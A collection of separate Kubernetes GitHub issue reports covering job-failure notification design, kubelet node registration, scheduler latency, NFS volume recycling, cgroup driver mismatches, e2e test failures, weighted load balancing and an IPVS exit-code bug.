chronos can notify users of failures of scheduled jobs via email.  in a discussion with a potential k8s user, the question came up whether k8s will have an email-notification feature.  about the chronos feature: -  chronos flags documentation  https://mesos.github.io/chronos/docs/configuration.html  - option 1: http notification on failure   -  uses these flags:  --http_notification_credentials  and  --http_notification_url  on the chronos server. - option 2:  mail notification   - uses these flags:  --mail_from ,  --mail_password ,  --mail_server ,  --mail_ssl ,  --mail_user .  questions for kubernetes: - should we do this at all, or let the community build their own solutions? - if we do build something, is it a one-size fits all solution that we own, or is there an example implementation, with ways for plugging in alternatives.   - i think the answer is the latter, since alternative impls may have more features.   for example, google cloud monitoring provides alerting via \ via email, sms, pagerduty, hipchat and more\ .    - similar to the way google cloud logging can be used in place of elasticsearch logging?    - setting up reasonable defaults here is the tricky part. - should we make email/http failure notification tightly coupled with scheduledjob, like chronos does, or create a generic mechanism for notifying about aribitrary events from controllers?     - i think the answer is generic, but care needs to be taken that the mechanism is not so flexible that configuring it is too hard.  reasonable defaults are needed. - is it triggered off of events, or off of the conditions of objects.   - events are nice because you don't have to discover new object types.   - conditions are considered a formal part of the api, while we have been fuzzy about events.  possible implementations: 1.   nothing  : do nothing by default.  assume users will use commercial  sysdig, datadog, etc  solutions, and/or find examples on how to configure popular oss to alert. 2.   de-novo  :  write a new go controller that has its own configuration object, and watches events  or conditions , and sends emails about matching events  or conditions .    - drawback: users have to learn new monitoring configuration language    - drawback: something else to support.    - advantage: if we own the configuration language, we can set good defaults more easily when kube-up-ing? 3.   elk  : shove some/all k8s events through elk  elasticsearch/logstash/kibana  pipeline.  include an alert line in the example logstash config to alert on scheduledjob failures.     - advantage: builds on our existing elk setup. and tell users to alert on scheduledjob failures.    - advantage: users of competing stacks will probably know how to mimic our example, as they will be used to mimic-ing elk.    - advantage: possibility of showing failure event in context with log output from the job that failed. 4.   hig  : write a go program that watches events or maybe directly watches objects, and exports the condition of objects, such as scheduledjobs, as a time-series metric  e.g. failure-condition-count .   have those stats be collected by the heapster-influxdb-grafana pipeline or a prometheus pipeline, and users can write alerts on changes in the time-series metric.    - disadvantage: prometheus supports email alerting, but we don't have a standard prometheus setup    - disadvantage: hig does not appear to support email alerting    - disadvantage: not clear if time-series is the best representation for a \ failure event\ .  i think i like 1 and 3.

running  kubectl get nodes  shows the master node name in the default aws format.      name                                       labels                                                                                                                                                                             status                     age 254.1.161.115                              kubernetes.io/hostname=254.1.161.115                                                                                                                                               ready                      14h 254.1.35.13                                kubernetes.io/hostname=254.1.35.13                                                                                                                                                 ready                      14h ip-254-1-0-10.eu-west-1.compute.internal   beta.kubernetes.io/instance-type=m4.large,failure-domain.beta.kubernetes.io/region=eu-west-1,failure-domain.beta.kubernetes.io/zone=eu-west-1a,kubernetes.io/hostname=254.1.0.10   ready,schedulingdisabled   14h      the  kubelet  is started using the following options. i only started seeing this when i used the  --register-schedulable=false    kubectl get nodes  wouldn't list the master node previously .      kubelet \\   --address=$private_ipv4 \\   --allow-privileged=true \\   --api-servers=http://127.0.0.1:8080 \\   --cadvisor-port=4194 \\   --cloud-provider=aws \\   --cluster-dns=10.100.0.10 \\   --cluster-domain=cluster.local \\   --config=/etc/kubernetes/manifests \\   --hairpin-mode=promiscuous-bridge \\   --healthz-bind-address=0.0.0.0 \\   --healthz-port=10248 \\   --hostname-override=$private_ipv4 \\   --port=10250 \\   --register-node=true \\   --register-schedulable=false      i believe this is causing new nodes to not be able to register, as i am getting the following errors on a newly added node.      mar 15 12:23:14 k8s-node kubelet 1009 : e0315 12:23:14.565088    1009 kubelet.go:2697  error updating node status, will retry: error getting node \ 254.1.106.101\ : nodes \ 254.1.106.101\  not found mar 15 12:23:14 k8s-node kubelet 1009 : e0315 12:23:14.566390    1009 kubelet.go:2697  error updating node status, will retry: error getting node \ 254.1.106.101\ : nodes \ 254.1.106.101\  not found mar 15 12:23:14 k8s-node kubelet 1009 : e0315 12:23:14.567792    1009 kubelet.go:2697  error updating node status, will retry: error getting node \ 254.1.106.101\ : nodes \ 254.1.106.101\  not found mar 15 12:23:14 k8s-node kubelet 1009 : e0315 12:23:14.567805    1009 kubelet.go:1173  unable to update node status: update node status exceeds retry count mar 15 12:23:24 k8s-node kubelet 1009 : e0315 12:23:24.569728    1009 kubelet.go:2697  error updating node status, will retry: error getting node \ 254.1.106.101\ : nodes \ 254.1.106.101\  not found mar 15 12:23:24 k8s-node kubelet 1009 : e0315 12:23:24.576356    1009 kubelet.go:2697  error updating node status, will retry: error getting node \ 254.1.106.101\ : nodes \ 254.1.106.101\  not found mar 15 12:23:24 k8s-node kubelet 1009 : e0315 12:23:24.577641    1009 kubelet.go:2697  error updating node status, will retry: error getting node \ 254.1.106.101\ : nodes \ 254.1.106.101\  not found mar 15 12:23:24 k8s-node kubelet 1009 : e0315 12:23:24.578926    1009 kubelet.go:2697  error updating node status, will retry: error getting node \ 254.1.106.101\ : nodes \ 254.1.106.101\  not found mar 15 12:23:24 k8s-node kubelet 1009 : e0315 12:23:24.580302    1009 kubelet.go:2697  error updating node status, will retry: error getting node \ 254.1.106.101\ : nodes \ 254.1.106.101\  not found mar 15 12:23:24 k8s-node kubelet 1009 : e0315 12:23:24.580314    1009 kubelet.go:1173  unable to update node status: update node status exceeds retry count      related:  8195,  15108.  thanks in advance!

i'm running some experiments on scheduler code. in particular what i'm running is: - i'm starting 1000-node kubemark cluster - killing scheduler job - starting density test and wait until enough pods are created  and waiting for scheduling  - i'm restarting scheduler  with increased qps limit   i added some logs to understand what is expensive in scheduler and should be optimized - see: https://github.com/kubernetes/kubernetes/compare/master...wojtek-t:test?expand=1  what i'm seeing are some period where scheduler seem to be doing nothing. for example see logs:      e0418 15:46:51.086081    4064 generic_scheduler.go:86  aaa -> compute predicates e0418 15:46:51.092237    4064 generic_scheduler.go:100  aaa -> prioritize e0418 15:46:51.097980    4064 generic_scheduler.go:237    -> 4 e0418 15:46:51.098422    4064 node_affinity.go:96    -> node affinity e0418 15:46:51.100128    4064 priorities.go:92    -> least requested e0418 15:46:51.100347    4064 priorities.go:229    -> balanced resource e0418 15:46:51.104830    4064 selector_spreading.go:236    -> spreading e0418 15:46:51.105064    4064 generic_scheduler.go:269  aaa -> finished prioritization      ^^ there are 5ms between \ prioritize\  and \ 4\ , and from the code it seems that there isn't anything happening then: https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/generic_scheduler.go l98  this seems to be a very common patter in logs:      e0418 15:46:51.229580    4064 generic_scheduler.go:86  aaa -> compute predicates e0418 15:46:51.235562    4064 generic_scheduler.go:100  aaa -> prioritize e0418 15:46:51.242312    4064 generic_scheduler.go:237    -> 4 e0418 15:46:51.242748    4064 node_affinity.go:96    -> node affinity e0418 15:46:51.244354    4064 priorities.go:92    -> least requested e0418 15:46:51.244551    4064 priorities.go:229    -> balanced resource e0418 15:46:51.249022    4064 selector_spreading.go:236    -> spreading      another similar \ pause period\  happens frequently after all  are already finished:      e0418 15:46:48.522108    4064 generic_scheduler.go:237    -> 4 e0418 15:46:48.522667    4064 node_affinity.go:96    -> node affinity e0418 15:46:48.524575    4064 priorities.go:92    -> least requested e0418 15:46:48.524576    4064 priorities.go:229    -> balanced resource e0418 15:46:48.531036    4064 selector_spreading.go:236    -> spreading e0418 15:46:48.538735    4064 generic_scheduler.go:269  aaa -> finished prioritization      ^^ all  finished and still it took 7ms to \ finish prioritization\  https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/scheduler/generic_scheduler.go l262  theoretically this 7ms includes time to update combinedscore slice, but in many cases it takes <0.5ms, so it's most probably not that.   for completeness - we are using go 1.6., so iiuc this shouldn't be garbage collector.  @davidopp @gmarek @hongchaodeng @kubernetes/sig-scalability

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : completed status pod unmount\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5+$format:%h$\ , gitcommit:\ dc1efecced758680dc5aa29dc317e366b6792a48\ , gittreestate:\ dirty\ , builddate:\ 2016-10-31t10:12:09z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.5+$format:%h$\ , gitcommit:\ 996dae74127a3e5a2c3da136dd846356e612b18f\ , gittreestate:\ dirty\ , builddate:\ 2016-11-01t03:03:10z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  :\r vms on softlayer. 1 master nodes 3 worker nodes\r -   os    e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 14.04.5 lts, trusty tahr\ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 14.04.5 lts\ \r version_id=\ 14.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r -   kernel    e.g.  uname -a  :\r linux cdsdev-dal09-stony03-api-01.softlayer.com 3.16.0-76-generic  98~14.04.1-ubuntu smp fri jun 24 17:04:54 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : ansible\r -   others  : no.\r \r \r   what happened  :\r 1. create a bunch of pvs using nfs\r 2. create pvc in a pvc_storage.yaml\r    \r   resources:\r     requests:\r       storage: 1ti\r  ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: dashmpp-local2\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1ti\r  ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: dashmpp-data2\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1ti\r  ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: dashmpp-local3\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1ti\r  ---\r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: dashmpp-data3\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 1ti\r    \r 3. after use  kubectl create -f pvc_storage.yaml \r    \r name      capacity   accessmodes   reclaimpolicy   status      claim                     reason    age\r ppvl01    15gi       rwx           recycle         available                                       6d\r ppvl02    1ti        rwo           recycle         bound       default/dashmpp-local1              6d\r ppvl04    1ti        rwo           recycle         bound       default/dashmpp-data1               6d\r ppvl05    1ti        rwo           recycle         bound       default/dashmpp-data2               27s\r ppvl06    1ti        rwo           recycle         bound       default/dashmpp-local2              1m\r spv1      10gi       rwx           recycle         bound       default/dashmpp-head                6d\r spv2      10gi       rwx           recycle         available                                       6d\r spv3      10gi       rwx           recycle         bound       default/dashmpp-scratch             6d\r spv4      10gi       rwx           recycle         available                                       6d\r    \r 4. after run  kubectl delete -f pv_storage.yaml \r    \r persistentvolumeclaim \ dashmpp-head\  deleted\r persistentvolumeclaim \ dashmpp-scratch\  deleted\r persistentvolumeclaim \ dashmpp-local1\  deleted\r persistentvolumeclaim \ dashmpp-data1\  deleted\r persistentvolumeclaim \ dashmpp-local2\  deleted\r persistentvolumeclaim \ dashmpp-data2\  deleted\r persistentvolumeclaim \ dashmpp-local3\  deleted\r persistentvolumeclaim \ dashmpp-data3\  deleted\r    \r 5. using   kubectl get pod -a -o wide   some of the recyclers are in  completed  status.\r \r name                  ready     status      restarts   age       ip        node\r recycler-for-ppvl04   0/1       completed   0          1m        <none>    10.121.55.231\r recycler-for-spv1     0/1       completed   0          1m        <none>    10.121.55.102\r recycler-for-spv3     0/1       completed   0          1m        <none>    10.121.55.70\r \r 6. login one of the recycler node, e.g.  10.121.55.70  using  df -h , we got\r    \r 169.55.11.79:/gpfs/fs01/shared/prod/democluster01/dashdb/gamestop/spv3   99t   18t   81t  19% /var/lib/kubelet/pods/1e5c2676-a045-11e6-8264-06d7ef65f0fb/volumes/kubernetes.io~nfs/ppvl02\r    \r as you can see the mount point still exist.\r \r 7. if we delelet pvcs one by one, such as \r    \r kubectl delete pvc dashmpp-local1\r kubectl delete pvc dashmpp-local2\r kubectl delete pvc dashmpp-data1 \r kubectl delete pvc dashmpp-data2\r kubectl delete pvc  dashmpp-head  \r kubectl delete pvc  dashmpp-scratch   \r    \r we do not get such problems\r \r \r   what you expected to happen  :\r using  kubectl delete -f pvc_storage.yaml , all the recycler could not in completed  status, and umount the mount point from worker node.\r \r   how to reproduce it    as minimally and precisely as possible :\r describe in what happened section\r \r   anything else do we need to know  :\r no.\r

kubernetes version    use  kubectl version  :\r v1.5.0-alpha.1.2189+d8fa4f4d564bab-dirty\r docker: 1.12.3\r \r   environment  :\r fedora24\r docker-engine-1.12.3-1.fc24.x86_64\r \r   what happened  :\r if docker cgroup driver=cgroupfs, and set --cgroup-driver=systemd in kubelet, then enable --experimental-cgroups-per-qos=true; the container cgroup some is not correct.\r \r   how to reproduce it    as minimally and precisely as possible :\r    \r  root@dhcp-140-57 kubernetes   kubectl run -it be-pod --image=busybox --restart=never /bin/sh\r waiting for pod default/be-pod to be running, status is pending, pod ready: false\r waiting for pod default/be-pod to be running, status is pending, pod ready: false\r if you don't see a command prompt, try pressing enter.\r /   cat /proc/self/cgroup\r 11:memory:/system.slice/docker.service/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 10:pids:/system.slice/docker.service/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 9:freezer:/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 8:net_cls,net_prio:/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 7:perf_event:/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 6:cpuset:/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 5:cpu,cpuacct:/system.slice/docker.service/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 4:blkio:/system.slice/docker.service/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 3:devices:/system.slice/docker.service/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 2:hugetlb:/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r 1:name=systemd:/system.slice/docker.service/besteffort.slice/besteffort-pod0d33f94b_ab1a_11e6_9e1a_68f7281d8004.slice/0c34bcd7d02f321d0df7aa6ea703285b02abebc9096c5128c14091fc43ea1f3b\r /   \r /   exit\r waiting for pod default/be-pod to terminate, status is running\r  root@dhcp-140-57 kubernetes   \r  root@dhcp-140-57 kubernetes   kubectl run -it bu-pod --image=busybox --requests=cpu=100m --restart=never /bin/sh\r waiting for pod default/bu-pod to be running, status is pending, pod ready: false\r waiting for pod default/bu-pod to be running, status is pending, pod ready: false\r if you don't see a command prompt, try pressing enter.\r /   cat /proc/self/cgroup\r 11:memory:/system.slice/docker.service/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 10:pids:/system.slice/docker.service/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 9:freezer:/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 8:net_cls,net_prio:/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 7:perf_event:/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 6:cpuset:/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 5:cpu,cpuacct:/system.slice/docker.service/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 4:blkio:/system.slice/docker.service/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 3:devices:/system.slice/docker.service/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 2:hugetlb:/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r 1:name=systemd:/system.slice/docker.service/burstable.slice/burstable-pod33295789_ab1a_11e6_9e1a_68f7281d8004.slice/dda54a6711ac97684578eddd19dbe7596c8ed099a5bb9c08ec38930ee6c4c035\r /   \r /   exit\r waiting for pod default/bu-pod to terminate, status is running\r  root@dhcp-140-57 kubernetes   kubectl run -it gu-pod --image=busybox --limits=cpu=100m,memory=500mi --restart=never /bin/sh\r waiting for pod default/gu-pod to be running, status is pending, pod ready: false\r waiting for pod default/gu-pod to be running, status is pending, pod ready: false\r if you don't see a command prompt, try pressing enter.\r /   cat /proc/self/cgroup\r 11:memory:/system.slice/docker.service/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 10:pids:/system.slice/docker.service/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 9:freezer:/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 8:net_cls,net_prio:/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 7:perf_event:/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 6:cpuset:/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 5:cpu,cpuacct:/system.slice/docker.service/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 4:blkio:/system.slice/docker.service/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 3:devices:/system.slice/docker.service/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 2:hugetlb:/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r 1:name=systemd:/system.slice/docker.service/pod481d7fba_ab1a_11e6_9e1a_68f7281d8004.slice/45761a13445038568bd87e48d0942b54f0240bce7fb7065d0b4bf5fa5164fb5f\r /   \r \r    \r \r   anything else do we need to know  :\r 1  docker cgroup driver=cgroupfs and  --cgroup-driver=cgroupfs in kubelet works well\r 2  docker cgroup driver=systemd and  --cgroup-driver=systemd in kubelet works well\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod-smoke/472/  failed:  k8s.io  downward api volume should set mode on item file  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downwardapi_volume.go:68 error creating pod expected error:     < url.error | 0xc8202fc180>: {         op: \ post\ ,         url: \ https://104.196.70.7/api/v1/namespaces/e2e-tests-downward-api-c6d07/pods\ ,         err: {             err: \ net/http: request canceled  client.timeout exceeded while awaiting headers \ ,             timeout: true,         },     }     post https://104.196.70.7/api/v1/namespaces/e2e-tests-downward-api-c6d07/pods: net/http: request canceled  client.timeout exceeded while awaiting headers  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:50

hello,\r \r  i tried to ask the same in slack channels without answer.\r  i'm not sure if this is a feature request or not, apologies for advance... \r \r  i looking for a solution for api with more than 2 versions enabled with weight in loadbalancer.\r  i can not split by uri, we want all version in the same uri, the root. \r \r  trying to be clear, let me explain better decribing this sceneario:\r entrypoint api : servicex.domainx.com\r                      poda: versiona with 25%\r                      podb: versionb with 40%\r                      podc: versionc with 30%\r                      podd: versiond with 5%\r  \r after read the documentation, i'm not sure if the loadbalancer   http://kubernetes.io/docs/user-guide/services/ type-loadbalancer   can do it or if i should use some special configuration of ingress controller...   https://github.com/kubernetes/contrib/tree/master/ingress/controllers  \r \r  after read some documentation my first approach a solution adding some custom http header specifying the version to do a sticky balance to each pod and adding the weights, but i'm not sure if i can do it with ingress controller customizing the haprozy template   https://github.com/kubernetes/contrib/blob/master/service-loadbalancer/template.cfg  \r \r what do you think? \r \r \r \r \r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet-serial/53/ failed:  k8s.io  density  serial   slow  create a batch of pods latency/resource should be within limit when create 10 pods with 0s interval {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/density_test.go:109 jan  8 17:30:59.322: cpu usage exceeding limits:  node tmp-node-e2e-0c0d15b4-coreos-alpha-1122-0-0-v20160727:  container \ kubelet\ : expected 95th% usage < 0.500; got 0.563 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/resource_usage_test.go:281

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce/5307/ multiple broken tests:  failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048  43025   failed:  k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light should scale from 1 pod to 2 pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/horizontal_pod_autoscaling.go:80 mar 14 04:57:50.407: timeout waiting 15m0s for pods size to be 2 /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:318     issues about this test specifically:  27443  27835  28900  32512  38549   failed:  k8s.io  dns configmap federations should be able to change federation configuration {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_configmap.go:43 mar 14 04:43:32.056: dig result did not match:   string{\ ;; connection timed out; no servers could be reached\ } after 30s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_common.go:94       failed:  k8s.io  networking should provide internet connection for containers  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:49 expected error:     < errors.errorstring | 0xc420a31000>: {         s: \ pod \\\ wget-test\\\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-14 04:48:11 -0700 pdt reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-14 04:48:43 -0700 pdt reason:containersnotready message:containers with unready status:  wget-test-container } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-14 04:48:11 -0700 pdt reason: message:}  message: reason: hostip:10.240.0.6 podip:10.180.2.196 starttime:2017-03-14 04:48:11 -0700 pdt initcontainerstatuses:   containerstatuses: {name:wget-test-container state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-14 04:48:42 -0700 pdt,containerid:docker://7d235c6a12882501b2a3a7771c599427dc8be60787b26431557bdfc6eaa9d271,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker://sha256:0cb40641836c461bc97c793971d84d758371ed682042457523e4ae701efe7ec9 containerid:docker://7d235c6a12882501b2a3a7771c599427dc8be60787b26431557bdfc6eaa9d271}  qosclass:besteffort}\ ,     }     pod \ wget-test\  failed with status: {phase:failed conditions: {type:initialized status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-14 04:48:11 -0700 pdt reason: message:} {type:ready status:false lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-14 04:48:43 -0700 pdt reason:containersnotready message:containers with unready status:  wget-test-container } {type:podscheduled status:true lastprobetime:0001-01-01 00:00:00 +0000 utc lasttransitiontime:2017-03-14 04:48:11 -0700 pdt reason: message:}  message: reason: hostip:10.240.0.6 podip:10.180.2.196 starttime:2017-03-14 04:48:11 -0700 pdt initcontainerstatuses:   containerstatuses: {name:wget-test-container state:{waiting:nil running:nil terminated:&containerstateterminated{exitcode:1,signal:0,reason:error,message:,startedat:0001-01-01 00:00:00 +0000 utc,finishedat:2017-03-14 04:48:42 -0700 pdt,containerid:docker://7d235c6a12882501b2a3a7771c599427dc8be60787b26431557bdfc6eaa9d271,}} lastterminationstate:{waiting:nil running:nil terminated:nil} ready:false restartcount:0 image:gcr.io/google_containers/busybox:1.24 imageid:docker://sha256:0cb40641836c461bc97c793971d84d758371ed682042457523e4ae701efe7ec9 containerid:docker://7d235c6a12882501b2a3a7771c599427dc8be60787b26431557bdfc6eaa9d271}  qosclass:besteffort} not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/networking.go:48     issues about this test specifically:  26171  28188  previous issues for this suite:  36933  37062  42159

tpr was alpha and alpha features are not required for conformance:\r \r    \r thirdparty resources  flaky   disruptive  simple third party\r   creating/deleting thirdparty objects works  conformance \r   /volumes/development/projects/origin/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/third-party.go:75\r  beforeeach  thirdparty resources  flaky   disruptive \r   /volumes/development/projects/origin/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:130\r    \r \r this is a bug against the 1.7 test suite.\r \r @williamdenniss

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r currently, we implement network interface operations, e.g. create a dummy device and delete a dummy interface via ip cmd and then collect the exist code. for example, we assume command  ip link add kube-ipvs0 type dummy  returns 2 means the dummy device  kube-ipvs0  exists, see https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/ipvs/proxier.go l1529 .\r \r however, from the man page of ip command, it says exit status 2 just means an error was reported by the kernel, see http://man7.org/linux/man-pages/man8/ip.8.html exit_status.\r \r so, that's a bug.\r \r   what you expected to happen  :\r \r find a way to exactly know if an network interface exists or not. the netlink package can be a dedicated way.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

